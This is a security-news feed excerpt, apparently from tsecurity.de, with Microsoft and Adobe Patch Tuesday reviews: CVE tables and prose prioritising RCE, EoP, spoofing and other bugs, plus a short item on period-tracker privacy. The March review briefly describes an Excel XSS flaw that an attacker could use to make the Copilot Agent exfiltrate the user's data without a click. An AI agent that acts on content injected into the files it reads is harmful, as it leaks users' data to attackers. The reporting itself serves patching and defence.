  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Period tracker Stardust shares users’ health data with analytics firm, says new research]]></title>
<description><![CDATA[One period tracker app tested by the Mozilla Foundation was 'squeaky clean,' while another app was seen sharing users' health data with an analytics company, underscoring vast differences in user privacy among these apps.]]></description>
<link>https://tsecurity.de/de/3694506/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-new-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694506/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-new-research/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[One period tracker app tested by the Mozilla Foundation was 'squeaky clean,' while another app was seen sharing users' health data with an analytics company, underscoring vast differences in user privacy among these apps.]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
